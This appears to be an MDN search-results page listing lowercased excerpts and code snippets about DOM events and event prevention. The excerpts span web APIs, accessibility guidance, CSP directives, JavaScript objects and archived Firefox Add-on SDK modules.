...terfaces.nsifileinputstream); stream.init(file, 0x04 | 0x08, 0644, 0x04); // file is an nsifile instance // try to determine the mime type of the file var mimetype = "text\/plain"; try { var mimeservice = components.classes["@mozilla.org/mime;1"] .getservice(components.interfaces.nsimimeservice); mimetype = mimeservice.gettypefromfile(file); // file is an nsifile instance } catch (oevent) { /* eat it; just use text/plain */ } // send var req = components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"] .createinstance(components.interfaces.nsixmlhttprequest); req.open('put', url, false); /* synchronous!
XMLHttpRequest.upload - Web APIs
it is an opaque object, but because it's also an xmlhttprequesteventtarget, event listeners can be attached to track its process.
... the following events can be triggered on an upload object and used to monitor the upload: event event listener description loadstart onloadstart the upload has begun.
...this event does not differentiate between success or failure, and is sent at the end of the upload regardless of the outcome.
... prior to this event, one of load, error, abort, or timeout will already have been delivered to indicate why the upload ended.
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
first, we add an event handler for mousemove events, which calls our code to perform the rotation if the right mouse button is down.
... note also that we set oncontextmenu up to be ignored by calling preventdefault() on those events.
... this prevents the right-clicks from causing the context menu from appearing in the browser.
... canvas.oncontextmenu = (event) => { event.preventdefault(); }; canvas.addeventlistener("mousemove", (event) => { if (event.buttons & 2) { rotateviewby(event.movementx, event.movementy); } }); next, the rotateviewby() function, which updates the mouse look direction's yaw and pitch based on the mouse delta values from the mousemove event.
XRSession.onsqueezestart - Web APIs
the xrsession interface's onsqueezestart event handler property can be set to a function which is then invoked to handle the squeezestart event that's sent when the user successfully begins a primary squeeze action on a webxr input device.
... syntax xrsession.onsqueezestart = squeezestarthandlerfunction; value a function to be invoked whenever the xrsession receives a squeezestart event.
... examples this snippet of code adds a simple handler for the squeezestart event, which responds only to events on the user's dominant hand by getting the target ray, then calling a function findobjectusingray() to identify the object that the user is pointing at.
... xrsession.onsqueezestart = event => { if (event.inputsource.handedness == user.handedness) { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace; if (targetraypose) { user.heldobject = findobjectusingray(targetraypose.transform); } } }; specifications specification status comment webxr device apithe definition of 'xrsession.onsqueezestart' in that specification.
msWriteProfilerMark - Web APIs
the mswriteprofilermark method writes a profiling event.
... syntax window.mswriteprofilermark("start-render"); parameters bstrprofilermarkname[in] an event name.
... for windows xp, this method sends an event to an event tracing session with traceevent; for systems after windows xp, this method writes an event with eventwrite.
... the event includes a pointer to a window object, current markup, and the event name passed as bstrprofilermarkname.
mssitemodejumplistitemremoved - Web APIs
the mssitemodejumplistitemremoved event occurs when mssitemodeshowjumplist is called and an item has been removed from a jump list by the user.
... syntax event property object.oncandidatewindowhide = handler; addeventlistener method object.addeventlistener("mssitemodejumplistitemremoved", handler, usecapture) general info synchronous no bubbles no cancelable no note this event is raised once for every item that has been removed since the last time mssitemodeshowjumplist was called.
... this event is not triggered if mssitemodeclearjumplist has been called.
... parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event.
msthumbnailclick - Web APIs
the msthumbnailclick event occurs when a user clicks a button or thumbnail icon in the taskbar.
... syntax event property object.onmsthumbnailclick = handler; addeventlistener method object.addeventlistener("msthumbnailclick", handler, usecapture) general info synchronous no bubbles no cancelable no note the onmsthumbnailclick event is available only to documents that are launched from a pinned site shortcut.
... parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event.
... example function thumbnailclickhandler(evt) { alert ("clicked button: " + evt.buttonid); } document.addeventlistener('msthumbnailclick', thumbnailclickhandler); example 2 // adds an overlay icon on your app pinned to the taskbar window.external.mssitemodeseticonoverlay(iconuri, tooltip); // removes an overlay icon window.external.mssitemodecleariconoverlay(); // pinned icons on your taskbar can be instructed to trigger specific events on your site from the taskbar // add an event handlerdocument.addeventlistener('msthumbnailclick', onbuttonclicked, false); // add the buttons var btnplay = window.external.mssitemodeaddthumbbarbutton(iconuri, tooltip); // refresh the taskbar window.external.mssitemodeshowthumbbar(); // call a javascript function when the button is pressed function ...
ARIA: tab role - Accessibility
to accomplish the first, we listen for the keydown event on the tablist.
... if the event's keycode is 39 for right arrow or 37 for the left arrow, we react to the event.
... to handle changing the active tab and tabpanel, we have a function that takes in the event, gets the element that triggered the event, the triggering element's parent element, and its grandparent element.
... window.addeventlistener("domcontentloaded", () => { const tabs = document.queryselectorall('[role="tab"]'); const tablist = document.queryselector('[role="tablist"]'); // add a click event handler to each tab tabs.foreach(tab => { tab.addeventlistener("click", changetabs); }); // enable arrow navigation between tabs in the tab list let tabfocus = 0; tablist.addeventlistener("keydown", e => { ...
ARIA: textbox role - Accessibility
description when an element has the textbox role, the browser sends an accessible textbox event to assistive technologies, which can then notify the user about it.
... focus event handler and aria-activedescendent attribute if you are implementing a composite widget, such as a combobox composed of a text box and a listbox, you need to manage the aria-activedescendent attribute using a handler.
... fire an accessible textbox event using the operating system's accessibility api if it supports it.
... assistive technology products should listen for such an event and notify the user accordingly: screen readers should announce its label and role when focus first lands on a textbox.
Cognitive accessibility - Accessibility
timed content should also be avoided, with exceptions for non-interactive synchronized media and real-time events.
...another technique you can use is providing accompanying visuals to help explain ideas, events, and processes.
... if the error prevented a form submission, focus on the error.
... prevent catastrophes for submissions that cause, or can lead to, legal, financial, or other significant consequences, ensure that the submissions can be reviewed, confirmed, and/or are reversible.
HTML To MSAA - Accessibility
map html element role name value states relations actions events notes a role_system_ link n/a value of @href attribute state_system_ selectable if @name attribute is presented state_system_ linked if @href attribute is presented or click event listener is registered state_system_ traversed if link is traversed n/a "jump" if @href is valid n/a br role_system_ whitespace '\n' (new line char) state_system_ readonly n/a n/a n/a button role_system...
...tem_ readonly if @readonly attribute is used state_system_ protected n/a "activate" n/a input type="checkbox" role_system_ checkbutton n/a n/a state_system_ marqueed used as state checkable state_system_ mixed for html 5 if intermediate property of dom element returns true state_system_ checked if checked property of dom element returns true n/a "check"/"uncheck"/"cycle" depending on state event_object_ statechange when state is changed input type="radio" role_system_ radiobutton n/a n/a state_system_ marqueed used as state checkable state_system_ checked if checked property of dom element returns true n/a "select" event_object_ statechange when state is changed label role_system_ statictext from child nodes n/a n/a n/a n/a n/a legend role_system_ statictext n/a n/a n/a lab...
...a n/a li and others role_system_ listitem n/a n/a state_system_ readonly n/a n/a n/a contains child accessible for list bullet ol, ul and others role_system_ list n/a n/a state_system_ readonly n/a n/a n/a optgroup bstr role n/a n/a n/a n/a n/a n/a option role_system_ listitem from @label attribute, from child text nodes n/a state_system_ selected if option is selected n/a "select" event_object_ selectionwithin event_object_ selectionadd if selected event_object_ selectionremove if unselected select @size > 1 role_system_ list n/a n/a state_system_ multiselectable if multiselectable n/a n/a n/a select @size = 1 role_system_ combobox n/a name of focused option state_system_ expanded if combobox open state_system_ collapsed if combobox is collapsed state_system_ haspopup ...
...state_system_ focusable n/a "open"/"close" depending on state event_object_ valuechange when selected option is changed table role_system_ table from @summary attribute n/a described_by (0x100e) points to caption element n/a n/a td, th role_system_ cell n/a n/a n/a n/a n/a n/a thead role_system_ columnheader n/a n/a n/a n/a n/a n/a abbr, acronym, blockquote, form, frame, h1-h6, iframe bstr role n/a n/a n/a n/a n/a n/a ...
Accessibility documentation index - Accessibility
when this role is added to an element, the browser will send out an accessible alert event to assistive technology products which can then notify the user about it.
... taking advantage of personalization settings can help prevent exposure to content leading to seizures and / or other physical reactions.
...: understanding colors and luminance accessibility, photosensitve epilepsy analysis tool, color, epilepsy, photosensitivity, reflex epilepsy, saturation, seizure disorders, seizures understaning color, luminance, and saturation is important in meeting wcag 2 accessibility guidelines in terms of ensuring enough color contrast for sighted users with color blindness or reduced vision and preventing seizures and other physical reactions in people with vestibular disorders.
...res and physical reactions media queries, peat, photosensitve epilepsy analysis tool, the harding test, color, epilepsy, musicogenic seizures, photosensitivity, prefers-reduced-motion, reflex epilepsy, saturation, seizure disorders, seizures, web animation this article introduces concepts behind making web content accessibile for those with vestibular disorders, and how to measure and prevent content leading to seizures and / or other physical reactions.
Understandable - Accessibility
globaleventhandlers.onfocus contains some useful information.
... globaleventhandlers.oninput is useful here.
... 3.3.4 error prevention (legal, financial, data) (aa) in the case of forms involved with entry of sensitive data (such as legal agreements, e-commerce transactions, or personal data), at least one of the following should be true: submissions are reversible.
... 3.3.6 error prevention (all) (aaa) this principle builds on 3.3.4, extending its requirements to all user input situations, not just ones involving sensitive data.
Getting Started - Developer guides
<button id="ajaxbutton" type="button">make a request</button> <script> (function() { var httprequest; document.getelementbyid("ajaxbutton").addeventlistener('click', makerequest); function makerequest() { httprequest = new xmlhttprequest(); if (!httprequest) { alert('giving up :( cannot create an xmlhttp instance'); return false; } httprequest.onreadystatechange = alertcontents; httprequest.open('get', 'test.html'); httprequest.send(); } function alertcontents() { if (httprequest.readystate ===...
... xmlhttprequest.done) { if (httprequest.status === 200) { alert(httprequest.responsetext); } else { alert('there was a problem with the request.'); } } } })(); </script> in this example: the user clicks the "make a request" button; the event handler calls the makerequest() function; the request is made and then (onreadystatechange) the execution is passed to alertcontents(); alertcontents() checks if the response was received and ok, then alert()s the contents of the test.html file.
... in the event of a communication error (such as the server going down), an exception will be thrown in the onreadystatechange method when accessing the response status.
... first we'll add a text box to our html so the user can enter their name: <label>your name: <input type="text" id="ajaxtextbox" /> </label> <span id="ajaxbutton" style="cursor: pointer; text-decoration: underline"> make a request </span> we'll also add a line to our event handler to get the user's data from the text box and send it to the makerequest() function along with the url of our server-side script: document.getelementbyid("ajaxbutton").onclick = function() { var username = document.getelementbyid("ajaxtextbox").value; makerequest('test.php',username); }; we need to modify makerequest() to accept the user data and pass it along to the ser...
Ajax - Developer guides
WebGuideAJAX
server-sent events traditionally, a web page has to send a request to the server to receive new data; that is, the page requests data from the server.
... with server-sent events, it's possible for a server to send new data to a web page at any time, by pushing messages to the web page.
... these incoming messages can be treated as events + data inside the web page.
... see also: using server-sent events.
Media buffering, seeking, and time ranges - Developer guides
= document.getelementbyid('my-audio'); var mycanvas = document.getelementbyid('my-canvas'); var context = mycanvas.getcontext('2d'); context.fillstyle = 'lightgray'; context.fillrect(0, 0, mycanvas.width, mycanvas.height); context.fillstyle = 'red'; context.strokestyle = 'white'; var inc = mycanvas.width / myaudio.duration; // display timeranges myaudio.addeventlistener('seeked', function() { for (i = 0; i < myaudio.buffered.length; i++) { var startx = myaudio.buffered.start(i) * inc; var endx = myaudio.buffered.end(i) * inc; var width = endx - startx; context.fillrect(startx, 0, width, mycanvas.height); context.rect(startx, 0, width, mycanvas.height); context.stroke(); } }); } this wor...
...ock; height: 100%; background-color: #777; width: 0; } .progress { margin-top: -20px; height: 20px; position: relative; width: 300px; } #progress-amount { display: block; height: 100%; background-color: #595; width: 0; } and the following javascript provides our functionality: window.onload = function(){ var myaudio = document.getelementbyid('my-audio'); myaudio.addeventlistener('progress', function() { var duration = myaudio.duration; if (duration > 0) { for (var i = 0; i < myaudio.buffered.length; i++) { if (myaudio.buffered.start(myaudio.buffered.length - 1 - i) < myaudio.currenttime) { document.getelementbyid("buffered-amount").style.width = (myaudio.buffered.end(myaudio.buffered.length - 1 - i) / duration) * 100 + "...
...%"; break; } } } }); myaudio.addeventlistener('timeupdate', function() { var duration = myaudio.duration; if (duration > 0) { document.getelementbyid('progress-amount').style.width = ((myaudio.currenttime / duration)*100) + "%"; } }); } the progress event is fired as data is downloaded, this is a good event to react to if we want to display download or buffering progress.
... the timeupdate event is fired 4 times a second as the media plays and that's where we increment our playing progress bar.
Constraint validation - Developer guides
basically, the idea is to trigger javascript on some form field event (like onchange) to calculate whether the constraint is violated, and then to use the method field.setcustomvalidity() to set the result of the validation: an empty string means the constraint is satisfied, and any other string means there is an error and this string is the error message to display to the user.
... if (constraint.test(zipfield.value)) { // the zip follows the constraint, we use the constraintapi to tell it zipfield.setcustomvalidity(""); } else { // the zip doesn't follow the constraint, we use the constraintapi to // give a message about the format required for this country zipfield.setcustomvalidity(constraints[country][1]); } } then we link it to the onchange event for the <select> and the oninput event for the <input>: window.onload = function () { document.getelementbyid("country").onchange = checkzip; document.getelementbyid("zip").oninput = checkzip; } you can see a live example of the postal code validation.
...t.getelementbyid("fs"); var files = fs.files; // if there is (at least) one file selected if (files.length > 0) { if (files[0].size > 75 * 1024) { // check the constraint fs.setcustomvalidity("the selected file must not be larger than 75 kb"); return; } } // no custom constraint violation fs.setcustomvalidity(""); } finally we hook the method with the correct event: window.onload = function () { document.getelementbyid("fs").onchange = checkfilesize; } you can see a live example of the file size constraint validation.
...note: setting a custom validity message on fieldset elements will not prevent form submission in most browsers.
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
starting the download the code that starts the download (say, when the user clicks a "download" button), looks like this: function startdownload() { let imageurl = "https://cdn.glitch.com/4c9ebeb9-8b9a-4adc-ad0a-238d9ae00bb5%2fmdn_logo-only_color.svg?1535749917189"; downloadedimg = new image; downloadedimg.crossorigin = "anonymous"; downloadedimg.addeventlistener("load", imagereceived, false); downloadedimg.src = imageurl; } we're using a hard-coded url here (imageurl), but that could easily come from anywhere.
...an event listener is added for the load event being fired on the image element, which means the image data has been received.
...anvas"); let context = canvas.getcontext("2d"); canvas.width = downloadedimg.width; canvas.height = downloadedimg.height; context.drawimage(downloadedimg, 0, 0); imagebox.appendchild(canvas); try { localstorage.setitem("saved-image-example", canvas.todataurl("image/png")); } catch(err) { console.log("error: " + err); } } imagereceived() is called to handle the "load" event on the htmlimageelement that receives the downloaded image.
... this event is triggered once the downloaded data is all available.
<img>: The Image Embed element - HTML: Hypertext Markup Language
WebHTMLElementimg
image loading errors if an error occurs while loading or rendering an image, and an onerror event handler has been set on the error event, that event handler will get called.
... the image is corrupted in some way that prevents it from being loaded.
... if the crossorigin attribute is not specified, then a non-cors request is sent (without the origin request header), and the browser marks the image as tainted and restricts access to its image data, preventing its usage in <canvas> elements.
... is sent (with the origin request header); but if the server does not opt into allowing cross-origin access to the image data by the origin site (by not sending any access-control-allow-origin response header, or by not including the site's origin in any access-control-allow-origin response header it does send), then the browser marks the image as tainted and restricts access to its image data, preventing its usage in <canvas> elements.
Content negotiation - HTTP
the header is needed in order to inform the cache of the decision criteria so that it can reproduce it, allowing the cache to be functional while preventing serving erroneous content to the user.
...obviously, the wildcard '*' prevents caching from occurring, as the cache cannot know what element is behind it.
...this is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance.
... unfortunately, the http standard does not specify the format of the page allowing to choose between the available resource, which prevents to easily automatize the process.
CSP: script-src-elem - HTTP
the http content-security-policy (csp) script-src-elem directive specifies valid sources for javascript <script> elements, but not inline script event handlers like onclick.
... 'unsafe-hashes' allows enabling specific inline event handlers.
... if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: style-src - HTTP
'unsafe-hashes' allows enabling specific inline event handlers.
... if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
... csstext: document.queryselector('div').setattribute('style', 'display:none;'); document.queryselector('div').style.csstext = 'display:none;'; however, styles properties that are set directly on the element's style property will not be blocked, allowing users to safely manipulate styles via javascript: document.queryselector('div').style.display = 'none'; these types of manipulations can be prevented by disallowing javascript via the script-src csp directive.
An overview of HTTP - HTTP
WebHTTPOverview
relaxing the origin constraint to prevent snooping and other privacy invasions, web browsers enforce strict separation between web sites.
... another api, server-sent events, is a one-way service that allows a server to send events to the client, using http as a transport mechanism.
... using the eventsource interface, the client opens a connection and establishes event handlers.
... the client browser automatically converts the messages that arrive on the http stream into appropriate event objects, delivering them to the event handlers that have been registered for the events' type if known, or to the onmessage event handler if no type-specific event handler was established.
Promise - JavaScript
the promise object represents the eventual completion (or failure) of an asynchronous operation, and its resulting value.
...it allows you to associate handlers with an asynchronous action's eventual success value or failure reason.
...has a then method), the returned promise will "follow" that thenable, adopting its eventual state; otherwise the returned promise will be fulfilled with the value.
...tadjacenthtml('beforeend', val + ') promise fulfilled (async code terminated)'); }).catch((reason) => { // log the rejection reason console.log(`handle rejected promise (${reason}) here.`); }); // end log.insertadjacenthtml('beforeend', thispromisecount + ') promise made (sync code terminated)'); } if ("promise" in window) { let btn = document.getelementbyid("btn"); btn.addeventlistener("click",testpromise); } else { log = document.getelementbyid('log'); log.innerhtml = "live example not available as your browser doesn't support the <code>promise<code> interface."; } this example is started by clicking the button.
WeakMap - JavaScript
these references prevent the keys from being garbage collected, even if there are no other references to the object.
... this would also prevent the corresponding values from being garbage collected.
... by contrast, native weakmaps hold "weak" references to key objects, which means that they do not prevent garbage collection in case there would be no other reference to the key object.
... this also avoids preventing garbage collection of values in the map.
Codecs used by WebRTC - Web media technologies
this is due to a change in google play store requirements that prevent firefox from downloading and installing the openh264 codec needed to handle h.264 in webrtc connections.
... if the connection is in the process of starting up, you can use the icegatheringstatechange event to watch for the completion of ice candidate gathering, then fetch the list.
... let codeclist = null; peerconnection.addeventlistener("icegatheringstatechange", (event) => { if (peerconnection.icegatheringstate === "complete") { const senders = peerconnection.getsenders(); senders.foreach((sender) => { if (sender.track.kind === "video") { codeclist = sender.getparameters().codecs; return; } }); } codeclist = null; }); the event handler for icegatheringstatechange is established; in it, we look to see if the ice gathering state is complete, indicating that no further candidates will be collected.
... that's done for each transceiver on the rtcpeerconnection; once all of the transceivers have been updated, we call the onnegotiationneeded event handler, which will create a new offer, update the local description, send the offer along to the remote peer, and so on, thereby triggering the renegotiation of the connection.
Optimizing startup performance - Web Performance
that means not running all your startup code in a single event handler on the app's main thread.
... instead, you should write your code so that your app creates a web worker that does as much as possible in a background thread (for example, fetching and processing data.) then, anything that must be done on the main thread (such as user events and rendering ui) should be broken up into small pieces so that the app's event loop continues to cycle while it starts up.
... this will prevent the app, browser, and/or device from appearing to have locked up.
...all pure startup calculations should be performed in background threads, while you keep the run-time of main thread events as short as possible.
textLength - SVG: Scalable Vector Graphics
t starts by stashing references to the elements it will need to access, using document.getelementbyid(): const widthslider = document.getelementbyid("widthslider"); const widthdisplay = document.getelementbyid("widthdisplay"); const textelement = document.getelementbyid("hello"); const baselength = math.floor(textelement.textlength.baseval.value); widthslider.value = baselength; widthslider.addeventlistener("input", function(event) { textelement.textlength.baseval.newvaluespecifiedunits( svglength.svg_lengthtype_px, widthslider.valueasnumber); widthdisplay.innertext = widthslider.value; }, false); widthslider.dispatchevent(new event("input")); after fetching the element references, an eventlistener is established by calling addeventlistener() on the slider control, to receive a...
...ny input events which occur.
... these events will be sent any time the slider's value changes, even if the user hasn't stopped moving it, so we can responsively adjust the text width.
... when an "input" event occurs, we call svglength.newvaluespecifiedunits() to set the value of textlength to the slider's new value, using the svglength interface's svg_lengthtype_px unit type to indicate that the value represents pixels.
SVG Attribute reference - SVG: Scalable Vector Graphics
WebSVGAttribute
rker-mid marker-start markerheight markerunits markerwidth mask maskcontentunits maskunits mathematical max media method min mode n name numoctaves o offset opacity operator order orient orientation origin overflow overline-position overline-thickness p panose-1 paint-order path pathlength patterncontentunits patterntransform patternunits ping pointer-events points pointsatx pointsaty pointsatz preservealpha preserveaspectratio primitiveunits r r radius referrerpolicy refx refy rel rendering-intent repeatcount repeatdur requiredextensions requiredfeatures restart result rotate rx ry s scale seed shape-rendering slope spacing specularconstant specularexponent speed spreadmethod startoffset stddeviation stemh...
...on, display, dominant-baseline, enable-background, fill, fill-opacity, fill-rule, filter, flood-color, flood-opacity, font-family, font-size, font-size-adjust, font-stretch, font-style, font-variant, font-weight, glyph-orientation-horizontal, glyph-orientation-vertical, image-rendering, kerning, letter-spacing, lighting-color, marker-end, marker-mid, marker-start, mask, opacity, overflow, pointer-events, shape-rendering, stop-color, stop-opacity, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, text-anchor, text-decoration, text-rendering, transform, transform-origin, unicode-bidi, vector-effect, visibility, word-spacing, writing-mode filters attributes filter primitive attributes height, result, width, x, y trans...
..., intercept, amplitude, exponent, offset animation attributes animation attribute target attributes attributetype, attributename animation timing attributes begin, dur, end, min, max, restart, repeatcount, repeatdur, fill animation value attributes calcmode, values, keytimes, keysplines, from, to, by, autoreverse, accelerate, decelerate animation addition attributes additive, accumulate event attributes animation event attributes onbegin, onend, onrepeat document event attributes onabort, onerror, onresize, onscroll, onunload global event attributes oncancel, oncanplay, oncanplaythrough, onchange, onclick, onclose, oncuechange, ondblclick, ondrag, ondragend, ondragenter, ondragexit, ondragleave, ondragover, ondragstart, ondrop, ondurationchange, onemptied, onended, onerror, onfo...
...ydown, onkeypress, onkeyup, onload, onloadeddata, onloadedmetadata, onloadstart, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onpause, onplay, onplaying, onprogress, onratechange, onreset, onresize, onscroll, onseeked, onseeking, onselect, onshow, onstalled, onsubmit, onsuspend, ontimeupdate, ontoggle, onvolumechange, onwaiting graphical event attributes onactivate, onfocusin, onfocusout ...
Web Components
add child elements, event listeners, etc., to the shadow dom using regular dom methods.
... event extensions extensions to the event interface related to shadow dom: event.composed: returns a boolean which indicates whether the event will propagate across the shadow dom boundary into the standard dom (true), or not (false).
... event.composedpath: returns the event’s path (objects on which listeners will be invoked).
... the slotchange event fired on an htmlslotelement instance (<slot> element) when the node(s) contained in that slot change.
Reddit Example - Archive of obsolete content
finally, it registers a listener to the user-defined click event which in turn passes the url into the open function of the tabs module.
... this is the panel.js content script that intercepts link clicks: $(window).click(function (event) { var t = event.target; // don't intercept the click if it isn't on a link.
... event.stoppropagation(); event.preventdefault(); self.port.emit('click', t.tostring()); }); this script uses jquery to interact with the dom of the page and the self.port.emit function to pass urls back to the add-on script.
self - Archive of obsolete content
on() start listening to messages from the main add-on code: self.on("message", function(addonmessage) { // handle the message }); this takes two parameters: the name of the event, and the handler function.
... removelistener() remove a listener to an event.
... this takes two parameters: the name of the event to stop listening to, and the listener function to remove.
private-browsing - Archive of obsolete content
ns built using the sdk must opt into private browsing by setting the following key in their package.json file: "permissions": {"private-browsing": true} if an add-on has not opted in, then the high-level sdk modules will not expose private windows, or objects (such as tabs) that are associated with private windows: the windows module will not list any private browser windows, generate any events for private browser windows, or let the add-on open any private browser windows the tabs module will not list any tabs that belong to private browser windows, and the add-on won't receive any events for such tabs any ui components will not be displayed in private browser windows any menus or menu items created using the context-menu will not be shown in context menus that belon...
...in the handler for the page-mod's attach event, it passes the worker into isprivate(): var pagemod = require("sdk/page-mod"); var privatebrowsing = require("sdk/private-browsing"); var loggingscript = "self.port.on('log-content', function() {" + " console.log(document.body.innerhtml);" + "});"; function logpublicpagecontent(worker) { if (privatebrowsing.isprivate(worker)) { console.log("privat...
... to do this with the sdk, you can listen to the system event named "last-pb-context-exited": var events = require("sdk/system/events"); function listener(event) { console.log("last private window closed"); } events.on("last-pb-context-exited", listener); globals functions isprivate(object) function to check whether the given object is private.
simple-storage - Archive of obsolete content
you may also need to include the --no-copy option to prevent firefox from copying the profile to a temporarry directory each time it starts.
... to listen for quota notifications, register a listener for the "overquota" event.
... events overquota the module emits this event when your add-on's storage goes over its quota.
content/loader - Archive of obsolete content
usage the module exports a constructor for the loader object, which inherits on(), once(), and removelistener() functions that enable its users to listen to events.
... loader adds code to initialize and validate a set of properties for managing content scripts: contenturl contentscript contentscriptfile contentscriptwhen contentscriptoptions allow when certain of these properties are set, the loader emits a propertychange event, enabling its users to take the appropriate action.
...this may take one of the following values: "start": load content scripts immediately after the document element for the page is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires contentscriptoptions read-only value exposed to content scripts under self.options property.
frame/hidden-frame - Archive of obsolete content
the following code creates a hidden frame, loads a web page into it, and then logs its title: var hiddenframes = require("sdk/frame/hidden-frame"); let hiddenframe = hiddenframes.add(hiddenframes.hiddenframe({ onready: function() { this.element.contentwindow.location = "http://www.mozilla.org/"; let self = this; this.element.addeventlistener("domcontentloaded", function() { console.log(self.element.contentdocument.title); }, true, true); } })); see the panel module for a real-world example of usage of this module.
... events ready this event is emitted when the dom for a hidden frame content is ready.
... it is equivalent to the domcontentloaded event for the content page in a hidden frame.
lang/functional - Archive of obsolete content
calling the wrapped version will call the original function during the next event loop.
...this also enables you to use these functions as event listeners.
... let { defer } = require("sdk/lang/functional"); let fn = defer(function myevent (event, value) { console.log(event + " : " + value); }); fn("click", "#home"); console.log("done"); // this will print 'done' before 'click : #home' since // we deferred the execution of the wrapped `myevent` // function, making it non-blocking and executing on the // next event loop parameters fn : function the function to be deferred.
net/xhr - Archive of obsolete content
if access to the filesystem isn't prevented, it could easily be used to access sensitive user data, though this may be inconsequential if the client can't access the network.
... if access to local area networks isn't prevented, malicious code could access sensitive data.
... if transmission of cookies isn't prevented, malicious code could access sensitive data.
Release notes - Archive of obsolete content
content scripts in page-mod get detach events when the add-on is disabled or removed.
... firefox 28 highlights added wildcard event type "*".
... added a ready event to sidebars.
Displaying annotations - Archive of obsolete content
if it finds any it binds functions to that element's mouseenter and mouseleave events to send messages to the main module, asking it to show or hide the annotation.
... like the selector, the matcher also listens for the window's unload event and on unload sends a detach message to the main module, so the add-on can clean it up.
... the complete content script is here: self.on('message', function onmessage(annotations) { annotations.foreach( function(annotation) { if(annotation.url == document.location.tostring()) { createanchor(annotation); } }); $('.annotated').css('border', 'solid 3px yellow'); $('.annotated').bind('mouseenter', function(event) { self.port.emit('show', $(this).attr('annotation')); event.stoppropagation(); event.preventdefault(); }); $('.annotated').bind('mouseleave', function() { self.port.emit('hide'); }); }); function createanchor(annotation) { annotationanchorancestor = $('#' + annotation.ancestorid); annotationanchor = $(annotationanchorancestor).parent().find( ':contains(' + annotation.anchortext + ')').last(); ...
Implementing the widget - Archive of obsolete content
because the widget's click event does not distinguish left and right mouse clicks, we'll use a content script to capture the click events and send the corresponding message back to our add-on.
... the widget's content script the widget's content script just listens for left- and right- mouse clicks and posts the corresponding message to the add-on code: this.addeventlistener('click', function(event) { if(event.button == 0 && event.shiftkey == false) self.port.emit('left-click'); if(event.button == 2 || (event.button == 0 && event.shiftkey == true)) self.port.emit('right-click'); event.preventdefault(); }, true); save this in your data/widget directory as widget.js.
...since we don't have any code to display annotations yet, we just log the right-click events to the console.
Display a Popup - Archive of obsolete content
function handleclick(state) { text_entry.show(); } // when the panel is displayed it generated an event called // "show": we will listen for that event and when it happens, // send our own "show" event to the panel's script, so the // script can prepare the panel for display.
...var textarea = document.getelementbyid("edit-box"); textarea.addeventlistener('keyup', function onkeyup(event) { if (event.keycode == 13) { // remove the newline.
... text = textarea.value.replace(/(\r\n|\n|\r)/gm,""); self.port.emit("text-entered", text); textarea.value = ''; } }, false); // listen for the "show" event being sent from the // main add-on code.
Drag & Drop - Archive of obsolete content
dropping files onto an xul application it's possible to setup drag and drop events to handle dropping files from external applications or os file managers onto your xul-based application.
... first, you need to hook up the basic drag event handlers: elem.addeventlistener("dragover", _dragover, true); elem.addeventlistener("dragdrop", _dragdrop, true); here, elem could be a window or an xul element.
... next, setup the handlers so that files can be dropped on the application: function _dragover(aevent) { var dragservice = components.classes["@mozilla.org/widget/dragservice;1"].getservice(components.interfaces.nsidragservice); var dragsession = dragservice.getcurrentsession(); var supported = dragsession.isdataflavorsupported("text/x-moz-url"); if (!supported) supported = dragsession.isdataflavorsupported("application/x-moz-file"); if (supported) dragsession.candrop = true; } function _dragdrop(aevent) { var dragservice = components.classes["@mozilla.org/widget/dragservice;1"].getservice(components.interfaces.nsidragservice); var dragsession = dragservice.getcurrentsession(); var _ios = components.classes['@mozilla.org/network/io-service;1'...
Examples and demos from articles - Archive of obsolete content
in such a condition is difficult and unnatural to keep track of all events started and then to stop them when appropriate through the cleartimeout() function.
...in such a condition is difficult and unnatural to keep track of all events started and then to stop them when appropriate through the cleartimeout() function.
... filter the digitation into a form field, capture the digitation of a hidden word this example shows the use of the onkeypress event during a digitation into a form field.
Extension Etiquette - Archive of obsolete content
prefix names in shared namespaces when shared namespaces can't be avoided, the simplest solution to prevent conflicts is to use a distinct prefix for all of your names.
... some namespaces have specific conflict prevention conventions, which should be followed as appropriate.
... when available, these methods should always be used to prevent conflicts with third-party code.
Appendix: What you should know about open-source software licenses - Archive of obsolete content
any discussion of copyright eventually turns to the fact that some uses are prohibited, so it’s useful to understand what uses are unrestricted.
...the “no discrimination may be made based on field of endeavor” rule means that you cannot prevent it from being used in warfare.
... you don’t have to give it away there’s nothing in an oss license that prevents you from charging money for software.
Add-ons - Archive of obsolete content
interaction between privileged and non-privileged pages an easy way to send data from a web page to an extension is by using custom dom events.
... in your extension's browser.xul overlay, write code which listens for a custom dom event.
... here we call the event myextensionevent.
chargingtimechange - Archive of obsolete content
the chargingtimechange event is fired when the chargingtime attribute of the battery api has changed.
... general info specification battery interface event bubbles no cancelable no target batterymanager default action none properties the event callback doesn't receive any event objects, but properties can be read from the batterymanager object received from the navigator.getbattery method.
... example navigator.getbattery().then(function(battery) { console.log("battery charging time: " + battery.chargingtime + " seconds"); battery.addeventlistener('chargingtimechange', function() { console.log("battery charging time: " + battery.chargingtime + " seconds"); }); }); related events chargingchange dischargingtimechange levelchange ...
dischargingtimechange - Archive of obsolete content
the dischargingtimechange event is fired when the dischargingtime attribute of the battery api has changed.
... general info specification battery interface event bubbles no cancelable no target batterymanager default action none properties the event callback doesn't receive any event objects, but properties can be read from the batterymanager object received from the navigator.getbattery method.
